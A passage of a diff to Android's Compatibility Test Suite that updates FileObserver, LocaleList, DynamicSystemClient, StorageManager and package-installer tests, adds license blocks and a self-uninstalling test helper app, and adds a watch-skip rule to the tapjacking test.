+        Uri imageUri = MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL);
+
+        Uri fileUri = mContext.getContentResolver().insert(imageUri, cv);
+
+        OutputStream os = mContext.getContentResolver().openOutputStream(fileUri);
+        os.write("TEST".getBytes("UTF-8"));
+        os.close();
+
+        /* Wait for for the inotify events to be caught. A timeout occurs after
+         * 2 seconds. */
+        mCond.block(2000);
+
+        int detectedEvents = fileObserver.getEvents().getOrDefault(imageName, 0);
+
+        /* Verify if the received events correspond to the ones that were requested */
+        assertEquals("Expected and received inotify events do not match",
+            PathFileObserver.eventsToSet(eventsMask),
+            PathFileObserver.eventsToSet(detectedEvents & eventsMask));
+
+        fileObserver.stopWatching();
+    }
+
+    static public class PathFileObserver extends FileObserver {
+        Map<String, Integer> mGeneratedEventsMap;
+        Map<String, Integer> mMonitoredEventsMap;
+        final ConditionVariable mCond;
+        final int mEventsMask;
+
+        public PathFileObserver(final File root, final int mask, ConditionVariable condition,
+                Map<String, Integer> monitoredFiles) {
+            super(root, FileObserver.ALL_EVENTS);
+
+            mEventsMask = mask;
+            mCond = condition;
+            mGeneratedEventsMap = new HashMap<>();
+            mMonitoredEventsMap = monitoredFiles;
+        }
+
+        public Map<String, Integer> getEvents() { return mGeneratedEventsMap; }
+
+        public void onEvent(final int event, final String path) {
+            /* There might be some extra flags introduced by inotify.h.  Remove
+             * them. */
+            final int filteredEvent = event & FileObserver.ALL_EVENTS;
+            if (filteredEvent == 0)
+                return;
+
+            /* Update the event bitmap of the associated file. */
+            mGeneratedEventsMap.put(
+                    path, filteredEvent | mGeneratedEventsMap.getOrDefault(path, 0));
+
+            /* Release the condition variable only if at least all the matching
+             * events have been caught for every monitored file. */
+            for (String file : mMonitoredEventsMap.keySet()) {
+                int monitoredEvents = mMonitoredEventsMap.getOrDefault(file, 0);
+                int generatedEvents = mGeneratedEventsMap.getOrDefault(file, 0);
+
+                if ((generatedEvents & monitoredEvents) != monitoredEvents)
+                    return;
+            }
+
+            mCond.open();
+        }
+
+        static public HashSet<String> eventsToSet(int events) {
+            HashSet<String> set = new HashSet<String>();
+            while (events != 0) {
+                int lowestEvent = Integer.lowestOneBit(events);
+
+                set.add(event2str(lowestEvent));
+                events &= ~lowestEvent;
+            }
+            return set;
+        }
+
+        static public String event2str(int event) {
+            switch (event) {
+                case FileObserver.ACCESS:
+                    return "ACCESS";
+                case FileObserver.ATTRIB:
+                    return "ATTRIB";
+                case FileObserver.CLOSE_NOWRITE:
+                    return "CLOSE_NOWRITE";
+                case FileObserver.CLOSE_WRITE:
+                    return "CLOSE_WRITE";
+                case FileObserver.CREATE:
+                    return "CREATE";
+                case FileObserver.DELETE:
+                    return "DELETE";
+                case FileObserver.DELETE_SELF:
+                    return "DELETE_SELF";
+                case FileObserver.MODIFY:
+                    return "MODIFY";
+                case FileObserver.MOVED_FROM:
+                    return "MOVED_FROM";
+                case FileObserver.MOVED_TO:
+                    return "MOVED_TO";
+                case FileObserver.MOVE_SELF:
+                    return "MOVE_SELF";
+                case FileObserver.OPEN:
+                    return "OPEN";
+                default:
+                    return "???";
+            }
+        }
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/FileObserverTest.java b/tests/tests/os/src/android/os/cts/FileObserverTest.java
index 4c183e2..e2e9c9d 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverTest.java
@@ -35,6 +35,7 @@
     private static final String PATH = "/PATH";
     private static final String TEST_FILE = "file_observer_test.txt";
     private static final String TEST_DIR = "fileobserver_dir";
+    private static final File EXT_STORAGE_DIR = new File(Environment.getExternalStorageDirectory(), "fileobserver_toplevel_dir");
     private static final int FILE_DATA = 0x20;
     private static final int UNDEFINED = 0x8000;
     private static final long DELAY_MSECOND = 2000;
@@ -60,9 +61,13 @@
             dir = getContext().getExternalFilesDir(null);
             helpSetUp(dir);
 
-            dir = Environment.getExternalStorageDirectory();
+            dir = EXT_STORAGE_DIR;
+            dir.mkdirs();
             helpSetUp(dir);
         }
+
+        // Let the setup settles
+        Thread.sleep(DELAY_MSECOND);
     }
 
     private void helpTearDown(File dir) throws Exception {
@@ -96,8 +101,11 @@
         dir = getContext().getExternalFilesDir(null);
         helpTearDown(dir);
 
-        dir = Environment.getExternalStorageDirectory();
+        dir = EXT_STORAGE_DIR;
         helpTearDown(dir);
+        if (dir.exists()) {
+            dir.delete();
+        }
     }
 
     public void testConstructor() {
@@ -255,7 +263,7 @@
 
     @AppModeFull(reason = "Instant apps cannot access external storage")
     public void testFileObserverExternalStorageDirectory() throws Exception {
-        helpTestFileObserver(Environment.getExternalStorageDirectory(), true);
+        helpTestFileObserver(EXT_STORAGE_DIR, true);
     }
 
     @AppModeFull(reason = "Instant apps cannot access external storage")
@@ -264,7 +272,7 @@
                 Pair.create(getContext().getCacheDir(), false),
                 Pair.create(getContext().getFilesDir(), false),
                 Pair.create(getContext().getExternalFilesDir(null), true),
-                Pair.create(Environment.getExternalStorageDirectory(), true)
+                Pair.create(EXT_STORAGE_DIR, true)
         );
     }
 
diff --git a/tests/tests/os/src/android/os/cts/FileObserverTestLegacyPath.java b/tests/tests/os/src/android/os/cts/FileObserverTestLegacyPath.java
deleted file mode 100644
index 7bbd34d..0000000
--- a/tests/tests/os/src/android/os/cts/FileObserverTestLegacyPath.java
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts;
-
-import android.content.ContentValues;
-import android.content.Context;
-import android.net.Uri;
-import android.os.ConditionVariable;
-import android.os.FileObserver;
-import android.provider.MediaStore;
-import android.test.AndroidTestCase;
-import java.io.File;
-import java.io.OutputStream;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-
-public class FileObserverTestLegacyPath extends AndroidTestCase {
-    ConditionVariable mCond;
-    Context mContext;
-    File mTestDir;
-
-    @Override
-    protected void setUp() throws Exception {
-        mContext = getContext();
-        mCond = new ConditionVariable();
-
-        mTestDir = new File("/sdcard/DCIM/testdir");
-        mTestDir.delete();
-        mTestDir.mkdirs();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mTestDir.delete();
-    }
-
-    /* This test creates a jpg image file and write some test data to that
-     * file.
-     * It verifies that FileObserver is able to catch the CREATE, OPEN and
-     * MODIFY events on that file, ensuring that, in the case of a FUSE mounted
-     * file system, changes applied to the lower file system will be detected
-     * by a monitored FUSE folder.
-     * Instead of checking if the set of generated events if exactly the same
-     * as the set of expected events, the test checks if the set of generated
-     * events contains CREATE, OPEN and MODIFY. This because there may be other
-     * services (e.g., file indexing) that may access the newly created file,
-     * generating spurious events that this test doesn't care of and filters
-     * them out. */
-    public void testCreateFile() throws Exception {
-        String imageName = "image" + System.currentTimeMillis() + ".jpg";
-
-        final Integer eventsMask = FileObserver.OPEN | FileObserver.CREATE | FileObserver.MODIFY;
-        PathFileObserver fileObserver =
-                new PathFileObserver(mTestDir, eventsMask, mCond, Map.of(imageName, eventsMask));
-        fileObserver.startWatching();
-
-        ContentValues cv = new ContentValues();
-        cv.put(MediaStore.Files.FileColumns.DISPLAY_NAME, imageName);
-        cv.put(MediaStore.Files.FileColumns.RELATIVE_PATH, "DCIM/testdir");
-        cv.put(MediaStore.Files.FileColumns.MIME_TYPE, "image/jpg");
-
-        Uri imageUri = MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL);
-
-        Uri fileUri = mContext.getContentResolver().insert(imageUri, cv);
-
-        OutputStream os = mContext.getContentResolver().openOutputStream(fileUri);
-        os.write("TEST".getBytes("UTF-8"));
-        os.close();
-
-        /* Wait for for the inotify events to be catched. A timeout occurs
-         * after 2 seconds. */
-        mCond.block(2000);
-
-        int detectedEvents = fileObserver.getEvents().getOrDefault(imageName, 0);
-
-        /* Verify if the received events correspond to the ones that were requested */
-        assertEquals("Uncatched some of the events", PathFileObserver.eventsToSet(eventsMask),
-                PathFileObserver.eventsToSet(detectedEvents & eventsMask));
-
-        fileObserver.stopWatching();
-    }
-
-    static public class PathFileObserver extends FileObserver {
-        Map<String, Integer> mGeneratedEventsMap;
-        Map<String, Integer> mMonitoredEventsMap;
-        final ConditionVariable mCond;
-        final int mEventsMask;
-
-        public PathFileObserver(final File root, final int mask, ConditionVariable condition,
-                Map<String, Integer> monitoredFiles) {
-            super(root, FileObserver.ALL_EVENTS);
-
-            mEventsMask = mask;
-            mCond = condition;
-            mGeneratedEventsMap = new HashMap<>();
-            mMonitoredEventsMap = monitoredFiles;
-        }
-
-        public Map<String, Integer> getEvents() { return mGeneratedEventsMap; }
-
-        public void onEvent(final int event, final String path) {
-            /* There might be some extra flags introduced by inotify.h.  Remove
-             * them. */
-            final int filteredEvent = event & FileObserver.ALL_EVENTS;
-            if (filteredEvent == 0)
-                return;
-
-            /* Update the event bitmap of the associated file. */
-            mGeneratedEventsMap.put(
-                    path, filteredEvent | mGeneratedEventsMap.getOrDefault(path, 0));
-
-            /* Release the condition variable only if at least all the matching
-             * events have been catched for every monitored file. */
-            for (String file : mMonitoredEventsMap.keySet()) {
-                int monitoredEvents = mMonitoredEventsMap.getOrDefault(file, 0);
-                int generatedEvents = mGeneratedEventsMap.getOrDefault(file, 0);
-
-                if ((generatedEvents & monitoredEvents) != monitoredEvents)
-                    return;
-            }
-
-            mCond.open();
-        }
-
-        static public HashSet<String> eventsToSet(int events) {
-            HashSet<String> set = new HashSet<String>();
-            while (events != 0) {
-                int lowestEvent = Integer.lowestOneBit(events);
-
-                set.add(event2str(lowestEvent));
-                events &= ~lowestEvent;
-            }
-            return set;
-        }
-
-        static public String event2str(int event) {
-            switch (event) {
-                case FileObserver.ACCESS:
-                    return "ACCESS";
-                case FileObserver.ATTRIB:
-                    return "ATTRIB";
-                case FileObserver.CLOSE_NOWRITE:
-                    return "CLOSE_NOWRITE";
-                case FileObserver.CLOSE_WRITE:
-                    return "CLOSE_WRITE";
-                case FileObserver.CREATE:
-                    return "CREATE";
-                case FileObserver.DELETE:
-                    return "DELETE";
-                case FileObserver.DELETE_SELF:
-                    return "DELETE_SELF";
-                case FileObserver.MODIFY:
-                    return "MODIFY";
-                case FileObserver.MOVED_FROM:
-                    return "MOVED_FROM";
-                case FileObserver.MOVED_TO:
-                    return "MOVED_TO";
-                case FileObserver.MOVE_SELF:
-                    return "MOVE_SELF";
-                case FileObserver.OPEN:
-                    return "OPEN";
-                default:
-                    return "???";
-            }
-        }
-    }
-}
diff --git a/tests/tests/os/src/android/os/cts/LocaleListTest.java b/tests/tests/os/src/android/os/cts/LocaleListTest.java
index 8eee8c6d..3d05332 100644
--- a/tests/tests/os/src/android/os/cts/LocaleListTest.java
+++ b/tests/tests/os/src/android/os/cts/LocaleListTest.java
@@ -93,13 +93,9 @@
 
     public void testRepeatedArguments() {
         final Locale[] la = {Locale.US, Locale.US};
-        LocaleList ll = null;
-        try {
-            ll = new LocaleList(la);
-            fail("Initializing a LocaleList with an array containing duplicates should throw.");
-        } catch (Throwable e) {
-            assertEquals(IllegalArgumentException.class, e.getClass());
-        }
+        LocaleList ll = new LocaleList(la);
+        assertEquals(1, ll.size());
+        assertEquals(Locale.US, ll.get(0));
     }
 
     public void testIndexOf() {
diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
index 21a2908..fed6b44 100644
--- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
+++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
@@ -21,9 +21,8 @@
 
 import android.app.Instrumentation;
 import android.net.Uri;
-import android.os.SystemProperties;
 import android.os.image.DynamicSystemClient;
-import android.util.FeatureFlagUtils;
+import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -34,6 +33,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@AppModeFull(reason = "Instant apps cannot access DynamicSystemClient")
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChangedListener {
@@ -50,16 +50,8 @@
         mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
     }
 
-    private boolean featureFlagEnabled() {
-        return SystemProperties.getBoolean(
-                FeatureFlagUtils.PERSIST_PREFIX + FeatureFlagUtils.DYNAMIC_SYSTEM, false);
-    }
-
     @Test
     public void testDynamicSystemClient() {
-        if (!featureFlagEnabled()) {
-            return;
-        }
         DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
         dSClient.setOnStatusChangedListener(this);
         try {
@@ -87,6 +79,32 @@
         }
     }
 
+    @Test
+    public void testDynamicSystemClient_withoutOnStatusChangedListener() {
+        DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
+        try {
+            dSClient.bind();
+        } catch (SecurityException e) {
+            fail();
+        }
+        Uri uri = Uri.parse("https://www.google.com/").buildUpon().build();
+        try {
+            dSClient.start(uri, 1024L << 10);
+        } catch (SecurityException e) {
+            fail();
+        }
+        try {
+            Thread.sleep(3 * 1000);
+        } catch (InterruptedException e) {
+            fail();
+        }
+        try {
+            dSClient.unbind();
+        } catch (SecurityException e) {
+            fail();
+        }
+    }
+
     @After
     public void tearDown() {
         mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index 9772efc..b47d553 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -24,7 +24,9 @@
 import android.os.Looper;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.ProxyFileDescriptorCallback;
+import android.os.UserHandle;
 import android.os.cts.R;
 import android.os.storage.OnObbStateChangeListener;
 import android.os.storage.StorageManager;
@@ -331,6 +333,11 @@
             }
         };
 
+        // Unmount storage data and obb dirs before test so test process won't be killed.
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "sm unmount-app-data-dirs " + mContext.getPackageName() + " "
+                        + Process.myPid() + " " + UserHandle.myUserId());
+
         // Unmount primary storage, verify we can see it take effect
         mStorageManager.registerStorageVolumeCallback(mContext.getMainExecutor(), callback);
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.bp b/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
index 465d614..40f85c4 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAdminPackageInstallerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index f6c767f..00dc48e 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAtomicInstallTestCases",
 
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.bp b/tests/tests/packageinstaller/emptytestapp/Android.bp
index dafd4e9..187ec9d 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.bp
+++ b/tests/tests/packageinstaller/emptytestapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEmptyTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/packageinstaller/install/Android.bp b/tests/tests/packageinstaller/install/Android.bp
index fc0bf63..8444e02 100644
--- a/tests/tests/packageinstaller/install/Android.bp
+++ b/tests/tests/packageinstaller/install/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPackageInstallTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/install/OWNERS b/tests/tests/packageinstaller/install/OWNERS
index 0088192..bf3cfe7 100644
--- a/tests/tests/packageinstaller/install/OWNERS
+++ b/tests/tests/packageinstaller/install/OWNERS
@@ -1,2 +1 @@
 # Bug component: 36137
-moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/install_appop_default/Android.bp b/tests/tests/packageinstaller/install_appop_default/Android.bp
index 1c31dcf..7808af1 100644
--- a/tests/tests/packageinstaller/install_appop_default/Android.bp
+++ b/tests/tests/packageinstaller/install_appop_default/Android.bp
@@ -11,6 +11,10 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPackageInstallAppOpDefaultTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/install_appop_default/OWNERS b/tests/tests/packageinstaller/install_appop_default/OWNERS
index 0088192..bf3cfe7 100644
--- a/tests/tests/packageinstaller/install_appop_default/OWNERS
+++ b/tests/tests/packageinstaller/install_appop_default/OWNERS
@@ -1,2 +1 @@
 # Bug component: 36137
-moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/install_appop_denied/Android.bp b/tests/tests/packageinstaller/install_appop_denied/Android.bp
index fee4277..ee76790 100644
--- a/tests/tests/packageinstaller/install_appop_denied/Android.bp
+++ b/tests/tests/packageinstaller/install_appop_denied/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPackageInstallAppOpDeniedTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/install_appop_denied/OWNERS b/tests/tests/packageinstaller/install_appop_denied/OWNERS
index 0088192..bf3cfe7 100644
--- a/tests/tests/packageinstaller/install_appop_denied/OWNERS
+++ b/tests/tests/packageinstaller/install_appop_denied/OWNERS
@@ -1,2 +1 @@
 # Bug component: 36137
-moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/nopermission/Android.bp b/tests/tests/packageinstaller/nopermission/Android.bp
index b3a57a4..24747d1 100644
--- a/tests/tests/packageinstaller/nopermission/Android.bp
+++ b/tests/tests/packageinstaller/nopermission/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_static {
     name: "CtsNoPermissionTestCasesBase",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/nopermission/OWNERS b/tests/tests/packageinstaller/nopermission/OWNERS
index c126a70..98dc09e 100644
--- a/tests/tests/packageinstaller/nopermission/OWNERS
+++ b/tests/tests/packageinstaller/nopermission/OWNERS
@@ -1,2 +1 @@
 # Bug component: 137825
-moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/nopermission25/Android.bp b/tests/tests/packageinstaller/nopermission25/Android.bp
index 5a1921c..581c9b4 100644
--- a/tests/tests/packageinstaller/nopermission25/Android.bp
+++ b/tests/tests/packageinstaller/nopermission25/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNoPermissionTestCases25",
     sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/nopermission25/OWNERS b/tests/tests/packageinstaller/nopermission25/OWNERS
index c126a70..98dc09e 100644
--- a/tests/tests/packageinstaller/nopermission25/OWNERS
+++ b/tests/tests/packageinstaller/nopermission25/OWNERS
@@ -1,2 +1 @@
 # Bug component: 137825
-moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/tapjacking/Android.bp b/tests/tests/packageinstaller/tapjacking/Android.bp
index 67a1af6..8035d6d 100644
--- a/tests/tests/packageinstaller/tapjacking/Android.bp
+++ b/tests/tests/packageinstaller/tapjacking/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPackageInstallerTapjackingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/packageinstaller/tapjacking/OWNERS b/tests/tests/packageinstaller/tapjacking/OWNERS
index 0088192..bf3cfe7 100644
--- a/tests/tests/packageinstaller/tapjacking/OWNERS
+++ b/tests/tests/packageinstaller/tapjacking/OWNERS
@@ -1,2 +1 @@
 # Bug component: 36137
-moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java b/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
index e5fda9b..5aa9c5d 100644
--- a/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
+++ b/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
@@ -23,6 +23,7 @@
 
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.net.Uri;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.By;
@@ -40,6 +41,11 @@
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import org.junit.AssumptionViolatedException;
+import org.junit.Rule;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
 
 import java.io.IOException;
 
@@ -57,13 +63,16 @@
 
     private static final long WAIT_FOR_UI_TIMEOUT = 5000;
 
-    private Context mContext;
+    private Context mContext = InstrumentationRegistry.getTargetContext();
     private String mPackageName;
     private UiDevice mUiDevice;
+    boolean isWatch = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+
+    @Rule
+    public final RequiredRule mRequiredRule = new RequiredRule(isWatch);
 
     @Before
     public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
         mPackageName = mContext.getPackageName();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         if (!mUiDevice.isScreenOn()) {
@@ -114,4 +123,24 @@
     public void tearDown() throws Exception {
         mUiDevice.pressHome();
     }
+
+    private static final class RequiredRule implements TestRule {
+        boolean mIsWatch;
+        RequiredRule(boolean isWatch) {
+            mIsWatch = isWatch;
+        }
+        @Override
+        public Statement apply(Statement base, Description description) {
+            return new Statement() {
+
+                @Override
+                public void evaluate() throws Throwable {
+                    if (mIsWatch) {
+                        throw new AssumptionViolatedException("Install/uninstall feature is not supported on WearOs");
+                    }
+                    base.evaluate();
+                }
+            };
+        }
+    }
 }
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
new file mode 100644
index 0000000..4f0743d
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSelfUninstallingTestApp",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "current",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "androidx.core_core",
+    ],
+
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..87dc715
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.packageinstaller.selfuninstalling.cts" >
+
+    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
+    <application android:label="Self Uninstalling Test App">
+        <activity android:name=".SelfUninstallActivity"
+                  android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
new file mode 100644
index 0000000..ac0fb40
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent" >
+    <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Pin me!" />
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
new file mode 100644
index 0000000..df5b1d4
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
@@ -0,0 +1,33 @@
+package android.packageinstaller.selfuninstalling.cts;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.annotation.Nullable;
+
+public class SelfUninstallActivity extends Activity {
+
+    private static final String ACTION_SELF_UNINSTALL =
+            "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.self_uninstalling_activity);
+        registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Intent i = new Intent(Intent.ACTION_UNINSTALL_PACKAGE).setData(
+                        Uri.fromParts("package", getPackageName(), null));
+                startActivity(i);
+            }
+        }, new IntentFilter(ACTION_SELF_UNINSTALL));
+    }
+}
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index 26e9d7e..edd4588 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPackageUninstallTestCases",
     defaults: ["cts_defaults"],
@@ -20,7 +24,9 @@
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "platform-test-annotations",
+        "cts-wm-util",
     ],
+    resource_dirs: ["res"],
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
     // Tag this module as a cts test artifact
